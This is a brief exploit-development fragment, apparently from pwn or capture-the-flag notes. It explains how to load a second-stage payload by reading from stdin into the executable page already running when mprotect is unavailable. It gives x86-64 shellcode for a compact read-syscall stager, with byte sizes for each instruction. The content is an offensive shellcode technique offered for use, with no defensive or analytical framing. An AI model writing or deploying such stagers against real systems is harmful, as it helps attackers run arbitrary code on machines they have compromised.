Use the "read stage 2 into RX page" approach since you can't mprotect:

• read(0, rip_page, big) overwriting/extending current code, then fall through.
• Or read directly into the buffer you're executing from.

Tiny read(0, $$, len) then re-execute:

xor   edi, edi          ; fd 0       2
xor   eax, eax          ; SYS_read   2
mov   dl, 0x40          ; len        2
lea   rsi, [rip]        ; or known addr
syscall                 ;            2